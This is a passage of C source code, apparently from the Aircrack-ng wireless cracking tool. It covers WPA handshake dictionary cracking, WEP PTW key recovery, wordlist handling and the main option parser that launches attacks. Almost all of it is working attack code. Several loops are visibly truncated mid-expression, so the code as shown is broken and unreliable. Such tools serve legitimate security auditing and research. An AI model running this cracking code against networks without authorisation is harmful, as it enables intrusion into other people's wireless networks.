HMAC : " ); if( opt.l33t ) printf( "\33[32;1m" ); for( i = 0; i < 16; i++ ) printf( "%02X ", mic[i] ); printf( "\n" ); pthread_mutex_unlock(&mx_wpastats); } int crack_wpa_thread( void *arg ) { FILE * keyFile; char essid[36]; char key[4][128]; uchar pmk[4][128]; uchar pke[100]; uchar ptk[4][80]; uchar mic[4][20]; struct WPA_data* data; struct AP_info* ap; int thread; int ret=0; int i, j, len, slen; int nparallel = 1; #if defined(__i386__) || defined(__x86_64__) // Check for SSE2, with SSE2 the algorithm works with 4 keys if (shasse2_cpuid()>=2) nparallel = 4; #endif data = (struct WPA_data*)arg; ap = data->ap; thread = data->thread; strncpy(essid, ap->essid, 36); /* pre-compute the key expansion buffer */ memcpy( pke, "Pairwise key expansion", 23 ); if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 ) { memcpy( pke + 23, ap->wpa.stmac, 6 ); memcpy( pke + 29, ap->bssid, 6 ); } else { memcpy( pke + 23, ap->bssid, 6 ); memcpy( pke + 29, ap->wpa.stmac, 6 ); } if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 ) { memcpy( pke + 35, ap->wpa.snonce, 32 ); memcpy( pke + 67, ap->wpa.anonce, 32 ); } else { memcpy( pke + 35, ap->wpa.anonce, 32 ); memcpy( pke + 67, ap->wpa.snonce, 32 ); } /* receive the essid */ slen = strlen(essid) + 4; while( 1 ) { if (close_aircrack) pthread_exit(&ret); /* receive passphrases */ for(j=0; jwpa.keyver == 1) HMAC(EVP_md5(), ptk[j], 16, ap->wpa.eapol, ap->wpa.eapol_size, mic[j], NULL); else HMAC(EVP_sha1(), ptk[j], 16, ap->wpa.eapol, ap->wpa.eapol_size, mic[j], NULL); if (memcmp( mic[j], ap->wpa.keymic, 16 ) == 0) { // to stop do_wpa_crack, we close the dictionary if(opt.dict != NULL) { if (!opt.stdin_dict) fclose(opt.dict); opt.dict = NULL; } for( i = 0; i < opt.nbcpu; i++ ) { // we make sure do_wpa_crack doesn't block before exiting, // now that we're not consuming passphrases here any longer pthread_mutex_lock(&wpa_data[i].mutex); pthread_cond_signal(&wpa_data[i].cond); pthread_mutex_unlock(&wpa_data[i].mutex); } memcpy(data->key, key[j], sizeof(data->key)); if (opt.is_quiet) return SUCCESS; pthread_mutex_lock(&mx_nb); nb_tried += 4; nb_kprev += 4; pthread_mutex_unlock(&mx_nb); len = strlen(key[j]); if (len > 64 ) len = 64; if (len < 8) len = 8; show_wpa_stats( key[j], len, pmk[j], ptk[j], mic[j], 1 ); if (opt.l33t) printf( "\33[31;1m" ); printf("\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n", ( 80 - 15 - (int) len ) / 2, key[j] ); if (opt.l33t) printf( "\33[32;22m" ); // Write the key to a file if (opt.logKeyToFile != NULL) { keyFile = fopen(opt.logKeyToFile, "w"); if (keyFile != NULL) { fprintf(keyFile, "%s", key[j]); fclose(keyFile); } } return SUCCESS; } } pthread_mutex_lock(&mx_nb); nb_tried += 4; nb_kprev += 4; pthread_mutex_unlock(&mx_nb); if (!opt.is_quiet) { len = strlen(key[0]); if (len > 64 ) len = 64; if (len < 8) len = 8; show_wpa_stats(key[0], len, pmk[0], ptk[0], mic[0], 0); } } } /** * Open a specific dictionary * nb: index of the dictionary * return 0 on success and FAILURE if it failed */ int next_dict(int nb) { if(opt.dict != NULL) { if(!opt.stdin_dict) fclose(opt.dict); opt.dict = NULL; } opt.nbdict = nb; if(opt.dicts[opt.nbdict] == NULL) return( FAILURE ); while(opt.nbdict < MAX_DICTS && opt.dicts[opt.nbdict] != NULL) { if( strcmp( opt.dicts[opt.nbdict], "-" ) == 0 ) { opt.stdin_dict = 1; if( ( opt.dict = fdopen( fileno(stdin) , "r" ) ) == NULL ) { perror( "fopen(dictionary) failed" ); opt.nbdict++; continue; } opt.no_stdin = 1; } else { opt.stdin_dict = 0; if( ( opt.dict = fopen( opt.dicts[opt.nbdict], "r" ) ) == NULL ) { perror( "fopen(dictionary) failed" ); opt.nbdict++; continue; } fseek(opt.dict, 0L, SEEK_END); if ( ftell( opt.dict ) <= 0L ) { fclose( opt.dict ); opt.dict = NULL; printf( "Empty dictionary\n" ); opt.nbdict++; continue; } rewind( opt.dict ); } break; } if(opt.nbdict >= MAX_DICTS || opt.dicts[opt.nbdict] == NULL) return( FAILURE ); return( 0 ); } #ifdef HAVE_SQLITE int sql_wpacallback(void* arg, int ccount, char** values, char** columnnames ) { struct AP_info *ap = (struct AP_info*)arg; unsigned char ptk[80]; unsigned char mic[20]; FILE * keyFile; if(ccount) {} //XXX if(columnnames) {} //XXX calc_mic(ap, (unsigned char*) values[0], ptk, mic); if( memcmp( mic, ap->wpa.keymic, 16 ) == 0 ) { // Write the key to a file if (opt.logKeyToFile != NULL) { keyFile = fopen(opt.logKeyToFile, "w"); if (keyFile != NULL) { fprintf(keyFile, "%s", values[1]); fclose(keyFile); } } if( opt.is_quiet ) { printf( "KEY FOUND! [ %s ]\n", values[1] ); return 1; } show_wpa_stats( values[1], strlen(values[1]), (unsigned char*)(values[0]), ptk, mic, 1 ); if( opt.l33t ) printf( "\33[31;1m" ); printf( "\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n", ( 80 - 15 - (int) strlen(values[1])) / 2, values[1] ); if( opt.l33t ) printf( "\33[32;22m" ); // abort the query return 1; } nb_tried++; nb_kprev++; if( ! opt.is_quiet ) show_wpa_stats( values[1], strlen(values[1]), (unsigned char*)(values[0]), ptk, mic, 0 ); return 0; } #endif int do_wpa_crack() { int i, j, cid, num_cpus, res; char key1[128]; i = 0; res = 0; opt.amode = 2; num_cpus = opt.nbcpu; if( ! opt.is_quiet ) { if( opt.l33t ) printf( "\33[37;40m" ); printf( "\33[2J" ); if( opt.l33t ) printf( "\33[34;1m" ); printf("\33[2;34H%s",progname); } cid = 0; while( num_cpus > 0 ) { /* read a couple of keys (skip those < 8 chars) */ if(opt.dict == NULL) return( FAILURE ); do { memset(key1, 0, sizeof(key1)); if (fgets(key1, sizeof(key1), opt.dict) == NULL) { if( opt.l33t ) printf( "\33[32;22m" ); /* printf( "\nPassphrase not in dictionary %s \n", opt.dicts[opt.nbdict] );*/ if(next_dict(opt.nbdict+1) != 0) { /* no more words, but we still have to wait for the cracking threads */ num_cpus = cid; //goto collect_and_test; return( FAILURE ); } else continue; } i = strlen( key1 ); if( i < 8 ) continue; if( i > 64 ) i = 64; while(i>0 && (key1[i-1]=='\r' || key1[i-1]=='\n')) i--; if (i==0) continue; key1[i] = '\0'; for(j=0; j 2 || strlen(hex) == 0) { rtn = 1; break; } if(sscanf(hex, "%x", &dec) == 0 ) { rtn = 1; break; } (*key)[i] = dec; hex = strsep(&tmp, ":"); i++; } if(rtn) { continue; } } else { if( fgets( *key, keysize, opt.dict ) == NULL ) { if( opt.l33t ) printf( "\33[32;22m" ); // printf( "\nPassphrase not in dictionary \"%s\" \n", opt.dicts[opt.nbdict] ); if(next_dict(opt.nbdict+1) != 0) { free(tmp); tmp = NULL; return( FAILURE ); } else { continue; } } i=strlen(*key); if( i <= 2 ) continue; if( (*key)[i - 1] == '\n' ) (*key)[--i] = '\0'; if( (*key)[i - 1] == '\r' ) (*key)[--i] = '\0'; if( i <= 0 ) continue; } break; } free(tmp); tmp = NULL; return( SUCCESS ); } int set_dicts(char* optargs) { int len; char *optarg; opt.nbdict = 0; optarg = strsep(&optargs, ","); for(len=0; len 0) { show_wep_stats(opt.keylen - 1, 1, NULL, NULL, NULL, 0); gettimeofday( &t_last, NULL); } } for(i=0; i<=opt.keylen; i++) { wep.key[i] = (uchar)key[i]; } if(check_wep_key(wep.key, opt.keylen, 0) == SUCCESS) return( SUCCESS ); } } static int crack_wep_ptw(struct AP_info *ap_cur) { int (* all)[256]; int i, j, len = 0; opt.ap = ap_cur; all = malloc(256*32*sizeof(int)); if (all == NULL) { return FAILURE; } //initial setup (complete keyspace) for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) { all[i][j] = 1; } } //setting restricted keyspace for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) { if( (opt.is_alnum && (j<32 || j>=128) ) || (opt.is_fritz && (j<48 || j>=58)) || (opt.is_bcdonly && ( j > 0x99 || ( j & 0x0F ) > 0x09 )) ) all[i][j] = 0; } } //if debug is specified, force a specific value. for (i=0; i<32; i++) { for (j = 0; j < 256; j++) { if(opt.debug_row[i] == 1 && opt.debug[i] != j) all[i][j] = 0; else if(opt.debug_row[i] == 1 && opt.debug[i] == j) all[i][j] = 1; } } if(ap_cur->nb_ivs_clean > 99) { ap_cur->nb_ivs = ap_cur->nb_ivs_clean; //first try without bruteforcing, using only "clean" keystreams if(opt.keylen != 13) { if(PTW_computeKey(ap_cur->ptw_clean, wep.key, opt.keylen, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = opt.keylen; } else { /* try 1000 40bit keys first, to find the key "instantly" and you don't need to wait for 104bit to fail */ if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 5, 1000, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; else if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 13, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 13; else if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 5, (KEYLIMIT*opt.ffact)/3, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; } } if(!len) { ap_cur->nb_ivs = ap_cur->nb_ivs_vague; //in case its not found, try bruteforcing the id field and include "vague" keystreams PTW_DEFAULTBF[10]=1; PTW_DEFAULTBF[11]=1; // PTW_DEFAULTBF[12]=1; if(opt.keylen != 13) { if(PTW_computeKey(ap_cur->ptw_vague, wep.key, opt.keylen, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = opt.keylen; } else { /* try 1000 40bit keys first, to find the key "instantly" and you don't need to wait for 104bit to fail */ if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 5, 1000, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; else if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 13, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 13; else if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 5, (KEYLIMIT*opt.ffact)/10, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; } } if (!len) return FAILURE; opt.probability = 100; key_found(wep.key, len, -1); return SUCCESS; } int main( int argc, char *argv[] ) { int i, n, ret, option, j, ret1, nbMergeBSSID, unused; int cpu_count, showhelp, z, zz, forceptw; char *s, buf[128]; struct AP_info *ap_cur; int old=0; char essid[33]; #ifdef HAVE_SQLITE int rc; char *zErrMsg = 0; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; char *sqlformat = "SELECT pmk.PMK, passwd.passwd FROM pmk INNER JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN essid ON essid.essid_id = pmk.essid_id WHERE essid.essid = '%q'"; char *sql; #endif ret = FAILURE; showhelp = 0; // Start a new process group, we are perhaps going to call kill(0, ...) later setsid(); progname = getVersion("Aircrack-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); memset( &opt, 0, sizeof( opt ) ); srand( time( NULL ) ); // Get number of CPU (return -1 if failed). cpu_count = get_nb_cpus(); opt.nbcpu = 1; if (cpu_count > 1) { opt.nbcpu = cpu_count; } j=0; /* check the arguments */ opt.nbdict = 0; opt.amode = 0; opt.do_brute = 1; opt.do_mt_brute = 1; opt.showASCII = 0; opt.probability = 51; opt.next_ptw_try= 0; opt.do_ptw = 1; opt.max_ivs = INT_MAX; opt.visual_inspection = 0; opt.firstbssid = NULL; opt.bssid_list_1st = NULL; opt.bssidmerge = NULL; opt.oneshot = 0; opt.logKeyToFile = NULL; /* all_ivs = malloc( (256*256*256) * sizeof(used_iv)); memset(all_ivs, 0, (256*256*256)*sizeof(used_iv)); */ forceptw = 0; while( 1 ) { int option_index = 0; static struct option long_options[] = { {"bssid", 1, 0, 'b'}, {"debug", 1, 0, 'd'}, {"combine", 0, 0, 'C'}, {"help", 0, 0, 'H'}, {"wep-decloak", 0, 0, 'D'}, {"ptw-debug", 0, 0, 'P'}, {"visual-inspection", 0, 0, 'V'}, {"oneshot", 0, 0, '1'}, {"cpu-detect", 0, 0, 'u'}, {0, 0, 0, 0 } }; option = getopt_long( argc, argv, "r:a:e:b:p:qcthd:l:m:n:i:f:k:x::Xysw:0HKC:M:DP:zV1", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'u' : printf("Nb CPU detected: %d ", cpu_count); #if defined(__i386__) || defined(__x86_64__) unused = shasse2_cpuid(); if (unused == 1) { printf(" (MMX available)"); } if (unused >= 2) { printf(" (SSE2 available)"); } #endif printf("\n"); return( 0 ); case 'V' : if (forceptw) { printf("Visual inspection can only be used with KoreK\n"); printf("Use \"%s --help\" for help.\n", argv[0]); return FAILURE; } opt.visual_inspection = 1; opt.do_ptw = 0; break; case 'a' : ret1 = sscanf( optarg, "%d", &opt.amode ); if ( strcasecmp( optarg, "wep" ) == 0 ) opt.amode = 1; else if ( strcasecmp( optarg, "wpa" ) == 0 ) opt.amode = 2; if( opt.amode != 1 && opt.amode != 2 ) { printf( "Invalid attack mode. [1,2] or [wep,wpa]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'e' : memset( opt.essid, 0, sizeof( opt.essid ) ); strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 ); opt.essid_set = 1; break; case 'b' : if (getmac(optarg, 1, opt.bssid) != 0) { printf( "Invalid BSSID (not a MAC).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.bssid_set = 1; break; case 'p' : if( sscanf( optarg, "%d", &opt.nbcpu ) != 1 || opt.nbcpu < 1 || opt.nbcpu > MAX_THREADS) { printf( "Invalid number of processes (recommended: %d)\n", cpu_count ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'q' : opt.is_quiet = 1; break; case 'c' : opt.is_alnum = 1; break; case 'D' : opt.wep_decloak = 1; break; case 'h' : opt.is_fritz = 1; break; case 't' : opt.is_bcdonly = 1; break; case '1' : opt.oneshot = 1; break; case 'd' : i = 0 ; n = 0; s = optarg; while( s[i] != '\0' ) { if (s[i] == 'x') s[i] = 'X'; if (s[i] == 'y') s[i] = 'Y'; if ( s[i] == '-' || s[i] == ':' || s[i] == ' ') i++; else s[n++] = s[i++]; } s[n] = '\0' ; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; i = 0; j = 0; while( ( sscanf( buf, "%x", &n ) == 1 ) || ( buf[0] == 'X' && buf[1] == 'X' ) || ( buf[0] == 'Y' && buf[1] == 'Y' )) { if ( buf[0] == 'X' && buf[1] == 'X' ) { opt.debug_row[i++] = 0 ; } else if ( buf[0] == 'Y' && buf[1] == 'Y' ) { opt.brutebytes[j++] = i++; } else { if ( n < 0 || n > 255 ) { printf( "Invalid debug key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.debug[i] = n ; opt.debug_row[i++] = 1; } if( i >= 64 ) break; s += 2; buf[0] = s[0]; buf[1] = s[1]; } break; case 'm' : if ( getmac(optarg, 1, opt.maddr) != 0) { printf( "Invalid MAC address filter.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'n' : if( sscanf( optarg, "%d", &opt.keylen ) != 1 || ( opt.keylen != 64 && opt.keylen != 128 && opt.keylen != 152 && opt.keylen != 256 && opt.keylen != 512 ) ) { printf( "Invalid WEP key length. [64,128,152,256,512]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.keylen = ( opt.keylen / 8 ) - 3; break; case 'i' : if( sscanf( optarg, "%d", &opt.index ) != 1 || opt.index < 1 || opt.index > 4 ) { printf( "Invalid WEP key index. [1-4]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'f' : if( sscanf( optarg, "%f", &opt.ffact ) != 1 || opt.ffact < 1 ) { printf( "Invalid fudge factor. [>=1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'k' : if( sscanf( optarg, "%d", &opt.korek ) != 1 || opt.korek < 1 || opt.korek > N_ATTACKS ) { printf( "Invalid KoreK attack strategy. [1-%d]\n", N_ATTACKS ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } K_COEFF[(opt.korek) - 1] = 0; break; case 'l' : opt.logKeyToFile = (char *)calloc(1, strlen(optarg) + 1); if (opt.logKeyToFile == NULL) { printf("Error allocating memory\n"); return( FAILURE ); } strncpy(opt.logKeyToFile, optarg, strlen(optarg)); break; case 'M' : if( sscanf( optarg, "%d", &opt.max_ivs) != 1 || opt.max_ivs < 1) { printf( "Invalid number of max. ivs [>1]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } K_COEFF[(opt.korek) - 1] = 0; break; case 'P' : if( sscanf( optarg, "%d", &opt.ptw_attack) != 1 || opt.ptw_attack < 0 || opt.ptw_attack > 2) { printf( "Invalid number for ptw debug [0-2]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'x' : opt.do_brute = 0; if (optarg) { if (sscanf(optarg, "%d", &opt.do_brute)!=1 || opt.do_brute<0 || opt.do_brute>4) { printf("Invalid option -x%s. [0-4]\n", optarg); printf("\"%s --help\" for help.\n", argv[0]); return FAILURE; } } break; case 'X' : opt.do_mt_brute = 0; break; case 'y' : opt.do_testy = 1; break; case 'K' : opt.do_ptw = 0; break; case 's' : opt.showASCII = 1; break; case 'w' : if(set_dicts(optarg) != 0) { printf("\"%s --help\" for help.\n", argv[0]); return FAILURE; } break; case 'r' : #ifdef HAVE_SQLITE if(sqlite3_open(optarg, &db)) { fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db)); sqlite3_close(db); return FAILURE; } #else fprintf(stderr, "Error: Aircrack-ng wasn't compiled with sqlite support\n"); return FAILURE; #endif break; case '0' : opt.l33t = 1; break; case 'H' : showhelp = 1; goto usage; break; case 'C' : nbMergeBSSID = checkbssids(optarg); if(nbMergeBSSID < 1) { printf("Invalid bssids (-C).\n\"%s --help\" for help.\n", argv[0]); return FAILURE; } // Useless to merge BSSID if only one element if (nbMergeBSSID == 1) printf("Merging BSSID disabled, only one BSSID specified\n"); else opt.bssidmerge = optarg; break; case 'z' : /* only for backwards compatibility - PTW used by default */ if (opt.visual_inspection) { printf("Visual inspection can only be used with KoreK\n"); printf("Use \"%s --help\" for help.\n", argv[0]); return FAILURE; } forceptw = 1; break; default : goto usage; } } if( argc - optind < 1 ) { if(argc == 1) { usage: printf (usage, progname, ( cpu_count > 1 || cpu_count == -1) ? "\n -X : disable bruteforce multithreading\n" : "\n"); // If the user requested help, exit directly. if (showhelp == 1) exit(0); } // Missing parameters if( argc - optind == 0) { printf("No file to crack specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( ret ); } if( opt.amode == 2 && opt.dict == NULL ) { nodict: printf( "Please specify a dictionary (option -w).\n" ); goto exit_main; } if( (! opt.essid_set && ! opt.bssid_set) && ( opt.is_quiet || opt.no_stdin ) ) { printf( "Please specify an ESSID or BSSID.\n" ); goto exit_main; } /* start one thread per input file */ signal( SIGINT, sighandler ); signal( SIGQUIT, sighandler ); signal( SIGTERM, sighandler ); signal( SIGALRM, SIG_IGN ); pthread_mutex_init( &mx_apl, NULL ); pthread_mutex_init( &mx_ivb, NULL ); pthread_mutex_init( &mx_eof, NULL ); pthread_cond_init( &cv_eof, NULL ); ap_1st = NULL; old = optind; n = argc - optind; id = 0; if( !opt.bssid_set ) { do { if( strcmp( argv[optind], "-" ) == 0 ) opt.no_stdin = 1; if( pthread_create( &(tid[id]), NULL, (void *) check_thread, (void *) argv[optind] ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } usleep( 131071 ); id++; if(id >= MAX_THREADS) { if(! opt.is_quiet) printf("Only using the first %d files, ignoring the rest.\n", MAX_THREADS); break; } } while( ++optind < argc ); /* wait until each thread reaches EOF */ if( ! opt.is_quiet ) { printf( "Reading packets, please wait...\r" ); fflush( stdout ); } // #ifndef DO_PGO_DUMP // signal( SIGINT, SIG_DFL ); /* we want sigint to stop and dump pgo data */ // #endif intr_read=1; for(i=0; iessid, 32); for(zz=0;zz<32;zz++) { if( (essid[zz] > 0 && essid[zz] < 32) || (essid[zz] > 126) ) essid[zz]='?'; } printf( "%4d %02X:%02X:%02X:%02X:%02X:%02X %-24s ", i, ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5], essid ); if( ap_cur->eapol ) printf( "EAPOL+" ); switch( ap_cur->crypt ) { case 0: printf( "None (%d.%d.%d.%d)\n", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); break; case 1: printf( "No data - WEP or WPA\n" ); break; case 2: printf( "WEP (%ld IVs)\n", ap_cur->nb_ivs ); break; case 3: printf( "WPA (%d handshake)\n", ap_cur->wpa.state == 7 ); break; default: printf( "Unknown\n" ); break; } i++; ap_cur = ap_cur->next; } printf( "\n" ); if( ap_1st->next != NULL ) { do { printf( "Index number of target network ? " ); fflush( stdout ); ret1 = 0; while(!ret1) ret1 = scanf( "%127s", buf ); if( ( z = atoi( buf ) ) < 1 ) continue; i = 1; ap_cur = ap_1st; while( ap_cur != NULL && i < z ) { i++; ap_cur = ap_cur->next; } } while( z < 0 || ap_cur == NULL ); } else { printf( "Choosing first network as target.\n" ); ap_cur = ap_1st; } printf( "\n" ); memcpy( opt.bssid, ap_cur->bssid, 6 ); opt.bssid_set = 1; /* Disable PTW if dictionary used in WEP */ if (ap_cur->crypt == 2 && opt.dict != NULL) { opt.do_ptw = 0; } } ap_1st = NULL; optind = old; id=0; } nb_eof=0; signal( SIGINT, sighandler ); do { if( strcmp( argv[optind], "-" ) == 0 ) opt.no_stdin = 1; if( pthread_create( &(tid[id]), NULL, (void *) read_thread, (void *) argv[optind] ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } id++; usleep( 131071 ); if(id >= MAX_THREADS) break; } while( ++optind < argc ); nb_pkt=0; /* wait until each thread reaches EOF */ intr_read=0; pthread_mutex_lock( &mx_eof ); if( ! opt.is_quiet ) { printf( "Reading packets, please wait...\r" ); fflush( stdout ); } while( nb_eof < n && ! intr_read ) pthread_cond_wait( &cv_eof, &mx_eof ); pthread_mutex_unlock( &mx_eof ); intr_read=1; // if( ! opt.is_quiet && ! opt.no_stdin ) // printf( "\33[KRead %ld packets.\n\n", nb_pkt ); // #ifndef DO_PGO_DUMP // signal( SIGINT, SIG_DFL ); /* we want sigint to stop and dump pgo data */ // #endif /* mark the targeted access point(s) */ ap_cur = ap_1st; while( ap_cur != NULL ) { if( memcmp( opt.maddr, BROADCAST, 6 ) == 0 || ( opt.bssid_set && ! memcmp( opt.bssid, ap_cur->bssid, 6 ) ) || ( opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) ) ap_cur->target = 1; ap_cur = ap_cur->next; } ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->target ) break; ap_cur = ap_cur->next; } if( ap_cur == NULL ) { printf( "No matching network found - check your %s.\n", ( opt.essid_set ) ? "essid" : "bssid" ); goto exit_main; } if( ap_cur->crypt < 2 ) { switch( ap_cur->crypt ) { case 0: printf( "Target network doesn't seem encrypted.\n" ); break; default: printf( "Got no data packets from target network!\n" ); break; } goto exit_main; } /* create the cracker<->master communication pipes */ for( i = 0; i < opt.nbcpu; i++ ) { unused = pipe( mc_pipe[i] ); unused = pipe( cm_pipe[i] ); if (opt.amode<=1 && opt.nbcpu>1 && opt.do_brute && opt.do_mt_brute) { unused = pipe(bf_pipe[i]); bf_nkeys[i] = 0; } } /* launch the attack */ nb_tried = 0; nb_kprev = 0; chrono( &t_begin, 1 ); chrono( &t_stats, 1 ); chrono( &t_kprev, 1 ); signal( SIGWINCH, sighandler ); if( opt.amode == 1 ) goto crack_wep; if( opt.amode == 2 ) goto crack_wpa; if( ap_cur->crypt == 2 ) { crack_wep: /* Default key length: 128 bits */ if( opt.keylen == 0 ) opt.keylen = 13; if(j + opt.do_brute > 4) { printf( "Bruteforcing more then 4 bytes will take too long, aborting!" ); goto exit_main; } for( i=0; inb_ivs_vague - (ap_cur->nb_ivs_vague % PTW_TRY_STEP); do { if(ap_cur->nb_ivs_vague >= opt.next_ptw_try) { if(!opt.is_quiet) printf("Starting PTW attack with %ld ivs.\n", ap_cur->nb_ivs_vague); ret = crack_wep_ptw(ap_cur); if( opt.oneshot == 1 && ret == FAILURE ) { printf( " Attack failed. Possible reasons:\n\n" " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n" " can be cracked with about 80.000 IVs, sometimes more.\n\n" " * Try to raise the fudge factor (-f).\n"); ret=0; } if(ret) { opt.next_ptw_try += PTW_TRY_STEP; printf("Failed. Next try with %d IVs.\n", opt.next_ptw_try); } } if(ret) usleep(10000); }while(ret != 0); } else if(opt.dict != NULL) { ret = crack_wep_dict(); } else { for( i = 0; i < opt.nbcpu; i++ ) { /* start one thread per cpu */ if (opt.amode<=1 && opt.nbcpu>1 && opt.do_brute && opt.do_mt_brute) { if (pthread_create( &(tid[id]), NULL, (void *) inner_bruteforcer_thread, (void *) (long) i ) != 0) { perror( "pthread_create failed" ); goto exit_main; } id++; } if( pthread_create( &(tid[id]), NULL, (void *) crack_wep_thread, (void *) (long) i ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } id++; } if( ! opt.do_testy ) { do { ret = do_wep_crack1( 0 ); } while( ret == RESTART ); if( ret == FAILURE ) { printf( " Attack failed. Possible reasons:\n\n" " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n" " can be cracked with about one million IVs, sometimes more.\n\n" " * If all votes seem equal, or if there are many negative votes,\n" " then the capture file is corrupted, or the key is not static.\n\n" " * A false positive prevented the key from being found. Try to\n" " disable each korek attack (-k 1 .. 17), raise the fudge factor\n" " (-f)" ); if (opt.do_testy) printf( "and try the experimental bruteforce attacks (-y)." ); printf( "\n" ); } } else { for( i = opt.keylen - 3; i < opt.keylen - 2; i++ ) { do { ret = do_wep_crack2( i ); } while( ret == RESTART ); if( ret == SUCCESS ) break; } if( ret == FAILURE ) { printf( " Attack failed. Possible reasons:\n\n" " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n" " can be cracked with about one million IVs, sometimes more.\n\n" " * If all votes seem equal, or if there are many negative votes,\n" " then the capture file is corrupted, or the key is not static.\n\n" " * A false positive prevented the key from being found. Try to\n" " disable each korek attack (-k 1 .. 17), raise the fudge factor\n" " (-f)" ); if (opt.do_testy) printf( "or try the standard attack mode instead (no -y option)." ); printf( "\n" ); } } } } if( ap_cur->crypt == 3 ) { crack_wpa: #ifdef HAVE_SQLITE if (opt.dict == NULL && db == NULL) goto nodict; #else if ( opt.dict == NULL ) goto nodict; #endif ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->target && ap_cur->wpa.state == 7 ) break; ap_cur = ap_cur->next; } if( ap_cur == NULL ) { printf( "No valid WPA handshakes found.\n" ); goto exit_main; } if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set ) { printf( "An ESSID is required. Try option -e.\n" ); goto exit_main; } if( opt.essid_set && ap_cur->essid[0] == '\0' ) { memset( ap_cur->essid, 0, sizeof( ap_cur->essid ) ); strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 ); } #ifdef HAVE_SQLITE if (db == NULL) { #endif for( i = 0; i < opt.nbcpu; i++ ) { /* start one thread per cpu */ wpa_data[i].ap = ap_cur; wpa_data[i].thread = i; wpa_data[i].nkeys = 17; wpa_data[i].key_buffer = (char*) malloc(wpa_data[i].nkeys * 128); wpa_data[i].front = 0; wpa_data[i].back = 0; memset(wpa_data[i].key, 0, sizeof(wpa_data[i].key)); pthread_cond_init(&wpa_data[i].cond, NULL); pthread_mutex_init(&wpa_data[i].mutex, NULL); if( pthread_create( &(tid[id]), NULL, (void *) crack_wpa_thread, (void *) &(wpa_data[i]) ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } #ifdef pthread_setaffinity_np // set affinity to one processor cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(i, &cpuset); pthread_setaffinity_np(tid[id], sizeof(cpu_set_t), &cpuset); #endif id++; } ret = do_wpa_crack(); // we feed keys to the cracking threads wpa_wordlists_done = 1; // we tell the threads that they shouldn't expect more words (don't wait for parallel crack) for( i = 0; i < opt.nbcpu; i++ ) // we wait for the cracking threads to end pthread_join(tid[--id], NULL); for( i = 0; i < opt.nbcpu; i++ ) { if (wpa_data[i].key[0] != 0) { ret = SUCCESS; break; } } if (ret==SUCCESS) { if( opt.is_quiet ) { printf( "KEY FOUND! [ %s ]\n", wpa_data[i].key ); return( SUCCESS ); } if( opt.l33t ) printf( "\33[31;1m" ); printf( "\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n", ( 80 - 15 - (int) strlen(wpa_data[i].key) ) / 2, wpa_data[i].key ); if( opt.l33t ) printf( "\33[32;22m" ); return( SUCCESS ); } else printf( "\nPassphrase not in dictionary \n" ); printf("\n"); #ifdef HAVE_SQLITE } else { if( ! opt.is_quiet ) { if( opt.l33t ) printf( "\33[37;40m" ); printf( 